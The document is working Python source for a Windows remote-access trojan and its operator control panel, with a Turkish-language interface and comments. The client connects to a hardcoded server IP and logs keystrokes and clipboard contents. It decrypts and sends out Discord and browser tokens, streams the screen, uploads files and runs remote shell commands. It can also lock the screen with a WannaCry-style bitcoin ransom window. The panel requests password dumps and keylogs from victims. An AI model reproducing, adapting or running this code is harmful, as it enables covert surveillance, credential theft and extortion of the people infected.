2025-11-09 18:41:05 - import os import re import json import base64 import datetime import urllib.request import socket import time import struct import subprocess import io import threading from PIL import ImageGrab, Image import pyautogui import locale import shutil import sqlite3 import win32crypt import win32clipboard import psutil import platform from Cryptodome.Cipher import AES from datetime import datetime import tkinter as tk from tkinter import messagebox from pynput import keyboard import win32gui import win32process import win32con from ctypes import windll, CFUNCTYPE, POINTER, c_int, c_void_p, byref from ctypes.wintypes import MSG, DWORD, WPARAM, LPARAM, BOOL, HHOOK # Server configuration SERVER_IP = "5.231.26.49" SERVER_PORT = 9000 RECONNECT_DELAY = 5 # Global variables stop_flag = threading.Event() last_successful_ping = time.time() streaming = False stream_thread = None sock_lock = threading.Lock() # Paths KEYLOG_PATH = os.path.join(os.getenv("APPDATA"), "keylog.txt") CLIPBOARD_PATH = os.path.join(os.getenv("APPDATA"), "clipboard_log.txt") # --- NETWORK FUNCTIONS --- def send_all(sock, data): total_sent = 0 while total_sent < len(data): sent = sock.send(data[total_sent:]) if sent == 0: raise RuntimeError("Connection lost") total_sent += sent def send_text(sock, text): data = text.encode("utf-8", errors="ignore") sock.sendall(struct.pack(">I", len(data))) send_all(sock, data) # --- TOKEN GRABBER --- LOCAL = os.getenv("LOCALAPPDATA") ROAMING = os.getenv("APPDATA") PATHS = { 'Discord': ROAMING + '\\discord', 'Discord Canary': ROAMING + '\\discordcanary', 'Lightcord': ROAMING + '\\Lightcord', 'Discord PTB': ROAMING + '\\discordptb', 'Opera': ROAMING + '\\Opera Software\\Opera Stable', 'Opera GX': ROAMING + '\\Opera Software\\Opera GX Stable', 'Amigo': LOCAL + '\\Amigo\\User Data', 'Torch': LOCAL + '\\Torch\\User Data', 'Kometa': LOCAL + '\\Kometa\\User Data', 'Orbitum': LOCAL + '\\Orbitum\\User Data', 'CentBrowser': LOCAL + '\\CentBrowser\\User Data', '7Star': LOCAL + '\\7Star\\7Star\\User Data', 'Sputnik': LOCAL + '\\Sputnik\\Sputnik\\User Data', 'Vivaldi': LOCAL + '\\Vivaldi\\User Data\\Default', 'Chrome SxS': LOCAL + '\\Google\\Chrome SxS\\User Data', 'Chrome': LOCAL + "\\Google\\Chrome\\User Data\\Default", 'Epic Privacy Browser': LOCAL + '\\Epic Privacy Browser\\User Data', 'Microsoft Edge': LOCAL + '\\Microsoft\\Edge\\User Data\\Default', 'Uran': LOCAL + '\\uCozMedia\\Uran\\User Data\\Default', 'Yandex': LOCAL + '\\Yandex\\YandexBrowser\\User Data\\Default', 'Brave': LOCAL + '\\BraveSoftware\\Brave-Browser\\User Data\\Default', 'Iridium': LOCAL + '\\Iridium\\User Data\\Default' } def get_master_key(path): try: with open(os.path.join(path, "Local State"), "r", encoding="utf-8") as f: local_state = json.load(f) encrypted_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"]) key = win32crypt.CryptUnprotectData(encrypted_key[5:], None, None, None, 0)[1] return key except Exception: return None def decrypt_token(enc_token, master_key): try: iv = enc_token[3:15] payload = enc_token[15:-16] cipher = AES.new(master_key, AES.MODE_GCM, iv) decrypted = cipher.decrypt(payload).decode() return decrypted except Exception: try: return win32crypt.CryptUnprotectData(enc_token, None, None, None, 0)[1].decode() except Exception: return None def get_tokens_from_path(path): tokens = [] leveldb_path = os.path.join(path, "Local Storage", "leveldb") if not os.path.exists(leveldb_path): return tokens master_key = get_master_key(path) if not master_key: return tokens for filename in os.listdir(leveldb_path): if not filename.endswith((".log", ".ldb")): continue try: with open(os.path.join(leveldb_path, filename), "r", errors="ignore") as f: for line in f: # Plain tokens regex (normal and mfa) for token in re.findall(r"mfa\.[\w-]{84}|[\w-]{24}\.[\w-]{6}\.[\w-]{27}", line): if token not in tokens: tokens.append(token) # Encrypted tokens regex and decrypt for encrypted_token in re.findall(r"dQw4w9WgXcQ:[^\"]+", line): enc_token_b64 = encrypted_token.split("dQw4w9WgXcQ:")[1] try: enc_token = base64.b64decode(enc_token_b64) decrypted = decrypt_token(enc_token, master_key) if decrypted and decrypted not in tokens: tokens.append(decrypted) except Exception: pass except Exception: continue return tokens def dump_tokens_and_send(sock, send_text): all_tokens = [] for platform, path in PATHS.items(): if os.path.exists(path): tokens = get_tokens_from_path(path) if tokens: all_tokens.extend(tokens) all_tokens = list(set(all_tokens)) # Remove duplicates if not all_tokens: send_text(sock, "[!] Empty token.") return try: with open("tokens.txt", "w", encoding="utf-8") as f: for token in all_tokens: f.write(token + "\n") except Exception as e: send_text(sock, f"[!] File write error: {e}") return try: with open("tokens.txt", "r", encoding="utf-8") as f: content = f.read() send_text(sock, content) except Exception as e: send_text(sock, f"[!] File read error: {e}") # --- CLIPBOARD LOGGER --- clipboard_last = "" def get_clipboard(): try: win32clipboard.OpenClipboard() data = win32clipboard.GetClipboardData() win32clipboard.CloseClipboard() return data except: return None def clipboard_logger(): global clipboard_last while not stop_flag.is_set(): data = get_clipboard() if data and isinstance(data, str) and data != clipboard_last: clipboard_last = data try: with open(CLIPBOARD_PATH, "a", encoding="utf-8") as f: f.write(f"{datetime.now().strftime('%Y-%m-%d %H:%M:%S')} - {data}\n") except: pass time.sleep(2) # --- KEYLOGGER --- key_lock = threading.Lock() key_buffer = "" current_app = None modifiers = { keyboard.Key.shift, keyboard.Key.shift_l, keyboard.Key.shift_r, keyboard.Key.ctrl, keyboard.Key.ctrl_l, keyboard.Key.ctrl_r, keyboard.Key.alt, keyboard.Key.alt_l, keyboard.Key.alt_r, keyboard.Key.caps_lock, } def get_active_window_process_name(): try: hwnd = win32gui.GetForegroundWindow() _, pid = win32process.GetWindowThreadProcessId(hwnd) proc = psutil.Process(pid) return proc.name() except Exception: return "Unknown" def flush_key_buffer(): global key_buffer, current_app if key_buffer: try: with key_lock: with open(KEYLOG_PATH, "a", encoding="utf-8") as f: f.write(f"{current_app}: {key_buffer}\n") except Exception: pass key_buffer = "" def on_press(key): global key_buffer, current_app app = get_active_window_process_name() if app != current_app: flush_key_buffer() current_app = app # Skip modifier keys if key in modifiers: return try: # If char exists and is printable, use it if hasattr(key, 'char') and key.char is not None: if key.char.isprintable(): key_buffer += key.char return # Otherwise check vk code if hasattr(key, 'vk'): vk = key.vk # Normal numbers 0-9: vk 48-57 if 48 <= vk <= 57: key_buffer += chr(vk) return # Numpad numbers 0-9: vk 96-105 if 96 <= vk <= 105: numpad_num = str(vk - 96) key_buffer += numpad_num return # Space key if key == keyboard.Key.space: key_buffer += " " flush_key_buffer() elif key == keyboard.Key.enter: flush_key_buffer() except Exception: pass def on_release(key): if key == keyboard.Key.esc: flush_key_buffer() return False def start_keylogger(): listener = keyboard.Listener(on_press=on_press, on_release=on_release) listener.start() # --- SCREEN FUNCTIONS --- def capture_screenshot(): try: img = ImageGrab.grab() buf = io.BytesIO() img.save(buf, format='PNG') return buf.getvalue() except: return None def stream_screen(sock): global streaming try: while streaming and not stop_flag.is_set(): img = pyautogui.screenshot() buf = io.BytesIO() img.save(buf, format='JPEG', quality=50) data = buf.getvalue() with sock_lock: sock.sendall(struct.pack(">Q", len(data))) send_all(sock, data) time.sleep(0.1) except Exception as e: print(f"[!] Streaming error: {e}") streaming = False # --- FILE SYSTEM FUNCTIONS --- def list_directory(path): if not os.path.exists(path): return "PATH_NOT_FOUND" try: entries = os.listdir(path) result = [] for item in entries: full_path = os.path.join(path, item) if os.path.isdir(full_path): result.append(f"[DIR] {item} [--]") else: size = os.path.getsize(full_path) size_str = f"{size / (1024 * 1024):.2f} MB" if size >= 1024 * 1024 else f"{size} B" result.append(f"{item} [{size_str}]") return "\n".join(result) except Exception as e: return f"PATH_NOT_FOUND: {e}" def send_file(sock, filepath): if not os.path.isfile(filepath): sock.sendall(struct.pack(">Q", 0)) return try: filesize = os.path.getsize(filepath) sock.sendall(struct.pack(">Q", filesize)) with open(filepath, "rb") as f: while True: chunk = f.read(4096) if not chunk: break send_all(sock, chunk) except: try: sock.sendall(struct.pack(">Q", 0)) except: pass # --- SYSTEM INFORMATION --- def get_cpu_name(): try: output = subprocess.check_output("wmic cpu get Name", shell=True) lines = output.decode().strip().split("\n") if len(lines) >= 2: return lines[1].strip() return "Unknown CPU" except: return "Unknown CPU" def get_system_info(): try: info = [] info.append(f"Computer Name: {socket.gethostname()}") info.append(f"User: {os.getlogin()}") info.append(f"OS: {platform.system()} {platform.release()} ({platform.version()})") info.append(f"Architecture: {platform.machine()}") info.append(f"CPU: {get_cpu_name()}") info.append(f"Cores (Physical/Logical): {psutil.cpu_count(logical=False)} / {psutil.cpu_count(logical=True)}") info.append(f"RAM: {round(psutil.virtual_memory().total / (1024 ** 3), 2)} GB") info.append(f"Disk: {round(psutil.disk_usage('/').total / (1024 ** 3), 2)} GB") return "\n".join(info) except Exception as e: return f"[!] get_system_info() error: {e}" # --- KEYBOARD HOOK (LOCK) --- WH_KEYBOARD_LL = 13 WM_KEYDOWN = 0x0100 WM_SYSKEYDOWN = 0x0104 user32 = windll.user32 kernel32 = windll.kernel32 def low_level_keyboard_proc(nCode, wParam, lParam): if wParam == WM_KEYDOWN or wParam == WM_SYSKEYDOWN: vk_code = lParam[0] blocked_keys = [0x5B, 0x5C, 0x73, 0x09, 0x1B] # Win keys, F4, Tab, Esc if vk_code in blocked_keys: return 1 # key blocked return user32.CallNextHookEx(None, nCode, wParam, lParam) def keyboard_hook(): CMPFUNC = CFUNCTYPE(c_int, c_int, WPARAM, LPARAM) pointer = CMPFUNC(low_level_keyboard_proc) hook = user32.SetWindowsHookExA(WH_KEYBOARD_LL, pointer, kernel32.GetModuleHandleW(None), 0) msg = MSG() while True: bRet = user32.GetMessageA(byref(msg), None, 0, 0) if bRet == 0: break user32.TranslateMessage(byref(msg)) user32.DispatchMessageA(byref(msg)) # --- RANSOMWARE SIMULATOR GUI --- class WannaCrySimulator(tk.Tk): def __init__(self): super().__init__() self.title("Bluzer Decrypt0r 2.0") self.geometry("900x650") self.configure(bg="#B00000") self.resizable(False, False) self.protocol("WM_DELETE_WINDOW", self.disable_close) self.attributes("-topmost", True) self.lang = tk.StringVar(value="English") self.raise_deadline = datetime.now() + datetime.timedelta(days=3) self.loss_deadline = datetime.now() + datetime.timedelta(days=7) self.translations = { "English": { "title": "Ooops, your files have been encrypted!", "raise_label": "Payment will be raised on", "loss_label": "Your files will be lost on", "time_left": "Time Left\n", "about": "About bitcoin", "howto": "How to buy bitcoins?", "contact": "Contact Us", "btc_info": "Send $300 worth of bitcoin to this address:", "check": "Check Payment", "decrypt": "Decrypt", "info": ( "What Happened to My Computer?\n" "Your important files are encrypted.\n" "Many of your documents, photos, videos, databases and other files are no longer accessible " "because they have been encrypted. Maybe you are busy looking for a way to recover your files, " "but do not waste your time. Nobody can recover your files without our decryption service.\n\n" "Can I Recover My Files?\n" "Sure. We guarantee that you can recover all your files safely and easily. But you have not so enough time.\n" "You can decrypt some of your files for free. Try now by clicking .\n" "But if you want to decrypt all your files, you need to pay.\n\n" "You have 3 days to submit the payment. After that the price will be doubled.\n" "Also, if you don't pay in 7 days, you won't be able to recover your files forever.\n" "We will have free events for users who are so poor that they couldn't pay in 6 months.\n\n" "How Do I Pay?\n" "Payment is accepted in Bitcoin only. For more information, click .\n" "Please check the current price of Bitcoin and buy some bitcoins. For more information, click .\n" "And send the correct amount to the address specified in this window.\n\n" "After your payment, click . Best time to check: 9:00am - 11:00am GMT from Monday to Friday." ), "payment_check": "Payment not yet received.", "decrypt_warn": "Free decrypt limit is full.", }, "Türkçe": { "title": "Oooops, dosyalarınız şifrelendi!", "raise_label": "Ödeme şu tarihte artacak:", "loss_label": "Dosyalarınız şu tarihte silinecek:", "time_left": "Kalan Süre\n", "about": "Bitcoin hakkında", "howto": "Bitcoin nasıl alınır?", "contact": "İletişim", "btc_info": "Aşağıdaki adrese 300$ değerinde Bitcoin gönderin:", "check": "Ödemeyi Kontrol Et", "decrypt": "Şifreyi Çöz", "info": ( "Bilgisayarıma Ne Oldu?\n" "Önemli dosyalarınız şifrelendi.\n" "Belgeleriniz, fotoğraflarınız, videolarınız ve diğer dosyalarınız artık erişilemez halde.\n" "Antivirüs yazılımınız bir süre sonra decrpyor'u tespit edebilir. Kapatmayı unutmayın.\n" "Eğer antivirüs yazılımınız bu yazılımı tespit eder ve kapatırsa dosyalarınız anında silinir.\n" "Dosyalarınızın şifresini yalnızca bu araçla çözebilirsiniz.\n\n" "Dosyalarımı Geri Alabilir miyim?\n" "Evet. Tüm dosyalarınızı güvenli şekilde kurtarabileceğimizi garanti ediyoruz. Ama zamanınız kısıtlı.\n" "Bazı dosyalarınızı ücretsiz olarak çözebilirsiniz. Şimdi <Şifreyi Çöz> butonuna tıklayın.\n" "Ancak tüm dosyalarınızı kurtarmak istiyorsanız ödeme yapmanız gerekir.\n\n" "Ödemeyi yapmak için 3 gününüz var. Sonra fiyat iki katına çıkar.\n" "7 gün içinde ödeme yapmazsanız dosyalarınızı sonsuza dek kaybedersiniz.\n" "Ödeme gücü olmayan kullanıcılar için 6 ay içinde ücretsiz etkinlikler düzenleyeceğiz.\n\n" "Nasıl Ödeme Yaparım?\n" "Ödemeler yalnızca Bitcoin ile kabul edilir. Daha fazla bilgi için seçeneğine tıklayın.\n" "Bitcoin fiyatını kontrol edin ve satın alın. Daha fazla bilgi için seçeneğine tıklayın.\n" "Ardından bu pencerede belirtilen adrese doğru miktarda gönderin.\n\n" "Ödemeden sonra <Ödemeyi Kontrol Et> butonuna tıklayın." ), "payment_check": "Ödeme henüz alınmadı.", "decrypt_warn": "Ücretsiz çözme limitiniz doldu.", } } self.create_widgets() self.update_timers() self.force_top_loop() def create_widgets(self): top_frame = tk.Frame(self, bg="#B00000") top_frame.pack(fill="x", padx=10, pady=5) self.title_label = tk.Label(top_frame, font=("Segoe UI", 18, "bold"), bg="#B00000", fg="white", anchor="center") self.title_label.pack(fill="x") lang_menu = tk.OptionMenu(top_frame, self.lang, *self.translations.keys(), command=lambda _: self.refresh_ui_texts()) lang_menu.config(bg="#f0f0f0", font=("Segoe UI", 10)) lang_menu.pack(side="right") content_frame = tk.Frame(self, bg="#B00000") content_frame.pack(fill="both", expand=True, padx=15, pady=5) left = tk.Frame(content_frame, bg="#B00000") left.pack(side="left", fill="y", padx=(0, 15)) tk.Label(left, text="🔒", font=("Arial", 70), bg="#B00000", fg="white").pack(pady=10) self.raise_label = tk.Label(left, font=("Segoe UI", 10, "bold"), fg="white", bg="#B00000") self.raise_label.pack(pady=(10, 0)) self.raise_countdown = tk.Label(left, font=("Courier", 16, "bold"), fg="yellow", bg="#B00000") self.raise_countdown.pack(pady=(0, 20)) self.loss_label = tk.Label(left, font=("Segoe UI", 10, "bold"), fg="white", bg="#B00000") self.loss_label.pack(pady=(10, 0)) self.loss_countdown = tk.Label(left, font=("Courier", 16, "bold"), fg="yellow", bg="#B00000") self.loss_countdown.pack() self.links = {} link_frame = tk.Frame(left, bg="#B00000") link_frame.pack(side="bottom", pady=20) for key in ["about", "howto", "contact"]: self.links[key] = tk.Label(link_frame, font=("Segoe UI", 10, "underline"), fg="cyan", bg="#B00000", cursor="hand2") self.links[key].pack(anchor="w") right = tk.Frame(content_frame, bg="white", bd=2, relief="sunken") right.pack(side="right", fill="both", expand=True) self.txt = tk.Text(right, wrap="word", font=("Segoe UI", 10), bg="white", fg="black", padx=10, pady=10) self.txt.pack(fill="both", expand=True) btc_frame = tk.Frame(self, bg="#B00000") btc_frame.pack(pady=(10, 0)) self.btc_label = tk.Label(btc_frame, font=("Segoe UI", 10, "bold"), bg="#B00000", fg="white") self.btc_label.pack() self.entry = tk.Entry(btc_frame, width=55, font=("Courier", 10), justify="center", state="normal", disabledbackground="white", disabledforeground="black") self.entry.insert(0, "129YDPgwueZ9NyMgw519p7A88isjr6SMw") self.entry.configure(state="disabled") self.entry.pack(pady=5) btn_frame = tk.Frame(self, bg="#B00000") btn_frame.pack(pady=10, fill="x") self.check_btn = tk.Button(btn_frame, width=20, command=self.fake_check) self.check_btn.pack(side="left", expand=True, padx=20) self.decrypt_btn = tk.Button(btn_frame, width=20, command=self.fake_decrypt) self.decrypt_btn.pack(side="right", expand=True, padx=20) self.refresh_ui_texts() def refresh_ui_texts(self): t = self.translations[self.lang.get()] self.title_label.config(text=t["title"]) self.btc_label.config(text=t["btc_info"]) self.check_btn.config(text=t["check"]) self.decrypt_btn.config(text=t["decrypt"]) self.txt.config(state="normal") self.txt.delete("1.0", tk.END) self.txt.insert("1.0", t["info"]) self.txt.config(state="disabled") self.links["about"].config(text=t["about"]) self.links["howto"].config(text=t["howto"]) self.links["contact"].config(text=t["contact"]) def update_timers(self): now = datetime.now() t = self.translations[self.lang.get()] def format_delta(delta): days = delta.days hours, rem = divmod(delta.seconds, 3600) minutes, seconds = divmod(rem, 60) return f"{days:02d}:{hours:02d}:{minutes:02d}:{seconds:02d}" self.raise_label.config(text=t["raise_label"] + "\n" + self.raise_deadline.strftime("%m/%d/%Y %H:%M:%S")) self.loss_label.config(text=t["loss_label"] + "\n" + self.loss_deadline.strftime("%m/%d/%Y %H:%M:%S")) self.raise_countdown.config(text=t["time_left"] + format_delta(self.raise_deadline - now)) self.loss_countdown.config(text=t["time_left"] + format_delta(self.loss_deadline - now)) self.after(1000, self.update_timers) def force_top_loop(self): hwnd = self.winfo_id() try: import win32com.client shell = win32com.client.Dispatch("WScript.Shell") shell.SendKeys('%') win32gui.ShowWindow(hwnd, win32con.SW_RESTORE) win32gui.SetForegroundWindow(hwnd) except Exception: pass self.after(20000, self.force_top_loop) def fake_check(self): messagebox.showinfo("Payment", self.translations[self.lang.get()]["payment_check"]) def fake_decrypt(self): messagebox.showwarning("Decrypt", self.translations[self.lang.get()]["decrypt_warn"]) def disable_close(self): pass # --- TERMINAL AND SERVER HANDLING --- def terminal_loop(sock): try: encoding = locale.getpreferredencoding() while True: raw_len = sock.recv(4) if not raw_len: break length = struct.unpack(">I", raw_len)[0] cmd = sock.recv(length).decode(encoding, errors="replace") if cmd.strip().lower() == "exit": break try: output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, timeout=10) send_text(sock, output.decode(encoding, errors="replace")) except Exception as e: send_text(sock, f"[!] Command execution failed: {e}") except Exception: pass def monitor_connection(): global last_successful_ping while not stop_flag.is_set(): if time.time() - last_successful_ping > 30: stop_flag.set() break time.sleep(5) def handle_server(sock): global last_successful_ping, streaming, stream_thread sock.settimeout(5) try: while not stop_flag.is_set(): try: data = sock.recv(4096) if not data: break data_str = data.decode(errors='ignore').strip() if data_str.startswith("LISTDIR "): _, path = data_str.split(" ", 1) result = list_directory(path.strip()) with sock_lock: sock.sendall(result.encode()) elif data_str.startswith("GETFILE "): _, path = data_str.split(" ", 1) send_file(sock, path.strip()) elif data_str.startswith("RUNCMD "): _, cmd = data_str.split(" ", 1) try: encoding = locale.getpreferredencoding() output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, timeout=10) send_text(sock, output.decode(encoding, errors="replace")) except Exception as e: send_text(sock, f"[!] Failed to execute: {e}") elif data_str == "TERMINAL": terminal_loop(sock) elif data_str == "SCREENSHOT": img = capture_screenshot() if img: with sock_lock: sock.sendall(struct.pack(">Q", len(img))) send_all(sock, img) else: with sock_lock: sock.sendall(struct.pack(">Q", 0)) elif data_str == "PING": last_successful_ping = time.time() with sock_lock: sock.send(b"PONG") elif data_str == "STREAM_START": if not streaming: streaming = True stream_thread = threading.Thread(target=stream_screen, args=(sock,), daemon=True) stream_thread.start() elif data_str == "STREAM_STOP": streaming = False if stream_thread: stream_thread.join() stream_thread = None elif data_str == "SYSINFO": try: send_text(sock, get_system_info()) except Exception as e: send_text(sock, f"[!] System info error: {e}") elif data_str == "DUMP_TOKENS": try: dump_tokens_and_send(sock, send_text) except Exception as e: send_text(sock, f"[!] Token dump error: {e}") elif data_str == "LOCK_SCREEN": try: threading.Thread(target=lambda: WannaCrySimulator().mainloop(), daemon=True).start() send_text(sock, "[✓] Screen is locked") except Exception as e: send_text(sock, f"[!] Screen lock error: {e}") elif data_str == "GET_KEYLOG": try: if os.path.exists(KEYLOG_PATH): with open(KEYLOG_PATH, "r", encoding="utf-8") as f: content = f.read() send_text(sock, content) open(KEYLOG_PATH, "w").close() else: send_text(sock, "[!] Keylog file not found.") except Exception as e: send_text(sock, f"[!] Keylog send error: {e}") elif data_str == "GET_CLIPBOARD": try: if os.path.exists(CLIPBOARD_PATH): with open(CLIPBOARD_PATH, "r", encoding="utf-8") as f: content = f.read() send_text(sock, content) else: send_text(sock, "[!] Clipboard log not found.") except Exception as e: send_text(sock, f"[!] Clipboard send error: {e}") except socket.timeout: continue except Exception: break finally: try: sock.close() except: pass stop_flag.set() streaming = False # --- MAIN LOOP --- def main_loop(): global last_successful_ping, stop_flag monitor_thread = None # Start keylogger and clipboard logger start_keylogger() threading.Thread(target=clipboard_logger, daemon=True).start() while True: last_successful_ping = time.time() stop_flag.clear() if monitor_thread is None or not monitor_thread.is_alive(): monitor_thread = threading.Thread(target=monitor_connection, daemon=True) monitor_thread.start() try: print("[*] Connecting to server...") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((SERVER_IP, SERVER_PORT)) sock.settimeout(None) print("[✓] Connected to server.") handle_server(sock) except Exception as e: print(f"[!] Connection failed: {e}") print("[*] Client shutting down and restarting...") time.sleep(RECONNECT_DELAY) if __name__ == "__main__": main_loop() 2025-11-09 18:45:49 - import socket import threading import tkinter as tk from tkinter import ttk, messagebox import os import struct import queue import time from PIL import Image, ImageTk import io # --- Tema renkleri --- BG_COLOR = "#121212" # Ana arka plan FRAME_BG = "#1e1e1e" # Çerçeve arka planı FG_COLOR = "#E0E0E0" # Yazı rengi HIGHLIGHT_COLOR = "#00B8D9" # Turkuaz-mavi vurgu ENTRY_BG = "#222222" # Entry arka plan ENTRY_FG = FG_COLOR BUTTON_BG = "#272727" BUTTON_ACTIVE_BG = "#00B8D9" LISTBOX_BG = "#1e1e1e" LISTBOX_FG = FG_COLOR TREEVIEW_BG = "#1e1e1e" TREEVIEW_FG = FG_COLOR TREEVIEW_ALT_BG = "#252525" PROGRESS_COLOR = "#00B8D9" TEXT_BG = "#181818" TEXT_FG = FG_COLOR # --- GUI Setup --- window = tk.Tk() window.title("Bluzer Cyrpt0r 2.0 - Remote Server Panel") window.geometry("900x700") window.configure(bg=BG_COLOR) # --- Global State --- log_queue = queue.Queue() clients = {} # ip: (socket, threading.Lock, ping_ms) clients_lock = threading.Lock() active_client = None # (ip, socket, lock) active_client_lock = threading.Lock() progress_var = tk.IntVar() current_path = tk.StringVar(value="C:\\") streaming_active = False stream_thread = None stream_data_queue = queue.Queue(maxsize=50) # maxsize ile kuyruk aşırı büyümesin stream_viewer = None # Streaming görüntü penceresi referansı # --- Stil Fonksiyonları --- def style_frame(frame): frame.configure(bg=FRAME_BG) def style_button(btn): btn.configure( bg=BUTTON_BG, fg=FG_COLOR, activebackground=BUTTON_ACTIVE_BG, activeforeground=FG_COLOR, relief="flat", bd=0, highlightthickness=0, font=("Segoe UI", 10, "bold"), cursor="hand2", ) def style_label(lbl): lbl.configure( bg=FRAME_BG, fg=FG_COLOR, font=("Segoe UI", 10, "bold") ) def style_entry(ent): ent.configure( bg=ENTRY_BG, fg=ENTRY_FG, insertbackground=FG_COLOR, relief="flat", font=("Segoe UI", 10) ) def style_listbox(lb): lb.configure( bg=LISTBOX_BG, fg=LISTBOX_FG, selectbackground=HIGHLIGHT_COLOR, selectforeground=FG_COLOR, relief="flat", font=("Segoe UI", 10), bd=0, highlightthickness=0, activestyle="none", cursor="hand2" ) def style_text(txt): txt.configure( bg=TEXT_BG, fg=TEXT_FG, relief="flat", font=("Consolas", 10), insertbackground=FG_COLOR, wrap="none" ) def style_treeview(tv): style = ttk.Style() style.theme_use('clam') style.configure("Custom.Treeview", background=TREEVIEW_BG, foreground=TREEVIEW_FG, fieldbackground=TREEVIEW_BG, bordercolor=FRAME_BG, borderwidth=0, font=("Segoe UI", 10) ) style.map("Custom.Treeview", background=[('selected', HIGHLIGHT_COLOR)], foreground=[('selected', FG_COLOR)] ) tv.configure(style="Custom.Treeview") tv.tag_configure('oddrow', background=TREEVIEW_ALT_BG) tv.tag_configure('evenrow', background=TREEVIEW_BG) def style_progressbar(pb): style = ttk.Style() style.theme_use('clam') style.configure("Custom.Horizontal.TProgressbar", troughcolor=FRAME_BG, background=PROGRESS_COLOR, thickness=15, bordercolor=FRAME_BG, lightcolor=PROGRESS_COLOR, darkcolor=PROGRESS_COLOR ) pb.configure(style="Custom.Horizontal.TProgressbar") # --- Logging --- def log(msg): log_queue.put(msg) def process_log_queue(): while not log_queue.empty(): msg = log_queue.get() log_box.insert(tk.END, msg + "\n") log_box.see(tk.END) window.after(100, process_log_queue) # --- Socket Helper --- def recv_all(sock, length, timeout=None): """Belirtilen sürede tüm veriyi al, timeout varsa uygula""" if timeout: sock.settimeout(timeout) data = b"" try: while len(data) < length: part = sock.recv(length - len(data)) if not part: log("[!] recv_all: timeout or data error.") return None data += part except socket.timeout: # Timeout sessiz tolere ediliyor return None except Exception as e: log(f"[!] recv_all err: {e}") return None finally: if timeout: sock.settimeout(None) # timeout'u resetle return data # --- Dosya Alma --- def request_file_from_client(filename): with active_client_lock: if not active_client: log("[!] No active client.") return ip, sock, sock_lock = active_client try: log(f"[>] GET > {filename} dosyasını almak için istek gönderiliyor...") with sock_lock: sock.sendall(f"GETFILE {filename}".encode()) raw_len = recv_all(sock, 8) if not raw_len: log("[!] File data error (length).") return total = struct.unpack(">Q", raw_len)[0] if total == 0: log("[!] File not found (client).") return os.makedirs("downloads", exist_ok=True) path = os.path.join("downloads", os.path.basename(filename)) received = 0 with open(path, "wb") as f: while received < total: chunk = sock.recv(min(4096, total - received)) if not chunk: break f.write(chunk) received += len(chunk) percent = int(received * 100 / total) progress_var.set(percent) window.update_idletasks() if received == total: log(f"[✓] File transfer success: {path}") else: log(f"[!] File data receive error: {received}/{total} bayt") except PermissionError as pe: log(f"[!] Perm error: {pe}") except Exception as e: log(f"[!] File transfer error: {e}") def send_command_and_receive(sock, sock_lock, command): """Belirtilen komutu gönder ve cevabı al.""" try: with sock_lock: sock.sendall(command.encode()) raw_len = recv_all(sock, 4, timeout=10) if not raw_len: log("[!] Command response timeout or error.") return None length = struct.unpack(">I", raw_len)[0] if length == 0: return "" data = recv_all(sock, length, timeout=10) if data: return data.decode("utf-8", errors="ignore") except Exception as e: log(f"[!] send_command_and_receive err: {e}") return None def request_password_dump(): with active_client_lock: if not active_client: log("[!] No active client to dump passwords.") return ip, sock, sock_lock = active_client log("[>] Requesting password dump from client...") result = send_command_and_receive(sock, sock_lock, "DUMP_PASSWORDS") if result: os.makedirs("downloads", exist_ok=True) path = os.path.join("downloads", f"{ip}_passwords.txt") with open(path, "w", encoding="utf-8") as f: f.write(result) log(f"[✓] Password dump saved: {path}") else: log("[!] Password dump failed or empty result.") # --- Dizin Listeleme --- def browse_directory(path): with active_client_lock: if not active_client: log("[!] No active client.") return ip, sock, sock_lock = active_client try: with sock_lock: sock.sendall(f"LISTDIR {path}".encode()) data = sock.recv(65536).decode(errors="ignore") if "PATH_NOT_FOUND" in data: log("[!] Directory not found.") return file_tree.delete(*file_tree.get_children()) current_path.set(path) for idx, line in enumerate(data.splitlines()): if line.startswith("[DIR] "): name = line[6:].rsplit(" [", 1)[0] file_tree.insert("", "end", values=(name, "Klasör"), tags=('evenrow' if idx % 2 == 0 else 'oddrow')) else: name = line.rsplit(" [", 1)[0] size = line.rsplit(" [", 1)[1].rstrip("]") file_tree.insert("", "end", values=(name, size), tags=('evenrow' if idx % 2 == 0 else 'oddrow')) except Exception as e: log(f"[!] Directory listing error: {e}") def request_logs(): with active_client_lock: if not active_client: log("[!] No active client to request logs.") return ip, sock, sock_lock = active_client log("[>] Requesting keylogger data...") keylog_result = send_command_and_receive(sock, sock_lock, "GET_KEYLOG") if keylog_result: os.makedirs("downloads", exist_ok=True) path = os.path.join("downloads", f"{ip}_keylog.txt") with open(path, "w", encoding="utf-8") as f: f.write(keylog_result) log(f"[✓] Keylog saved: {path}") else: log("[!] Failed to get keylog or empty.") log("[>] Requesting clipboard data...") clipboard_result = send_command_and_receive(sock, sock_lock, "GET_CLIPBOARD") if clipboard_result: os.makedirs("downloads", exist_ok=True) path = os.path.join("downloads", f"{ip}_clipboard.txt") with open(path, "w", encoding="utf-8") as f: f.write(clipboard_result) log(f"[✓] Clipboard saved: {path}") else: log("[!] Failed to get clipboard or empty.") # --- GUI Event: Dosya gezmeye tıklama --- def on_tree_double_click(event): item = file_tree.selection() if not item: return name = file_tree.item(item[0])["values"][0] path = os.path.join(current_path.get(), name) if "Klasör" in file_tree.item(item[0])["values"][1]: browse_directory(path) else: threading.Thread(target=request_file_from_client, args=(path,), daemon=True).start() def go_back(): parent = os.path.dirname(current_path.get().rstrip("\\/")) if parent: browse_directory(parent) def open_terminal(): with active_client_lock: if not active_client: log("[!] No active client.") return ip, sock, sock_lock = active_client def send_command(): cmd = cmd_entry.get() if not cmd: return cmd_entry.delete(0, tk.END) try: if cmd.lower() == "exit": text.insert(tk.END, "> exit\n") terminal.destroy() return with sock_lock: sock.sendall(f"RUNCMD {cmd}".encode()) raw_len = recv_all(sock, 4) if not raw_len: text.insert(tk.END, "[!] Respond time out (client).\n") return length = struct.unpack(">I", raw_len)[0] output = recv_all(sock, length).decode("utf-8", errors="ignore") text.insert(tk.END, f"> {cmd}\n{output}\n") text.see(tk.END) except Exception as e: text.insert(tk.END, f"> {cmd}\n[!] Error: {e}\n") terminal = tk.Toplevel(window) terminal.title("Console") terminal.geometry("600x400") terminal.configure(bg=BG_COLOR) text = tk.Text(terminal, bg=TEXT_BG, fg=TEXT_FG, insertbackground=FG_COLOR) text.pack(fill="both", expand=True, padx=5, pady=5) 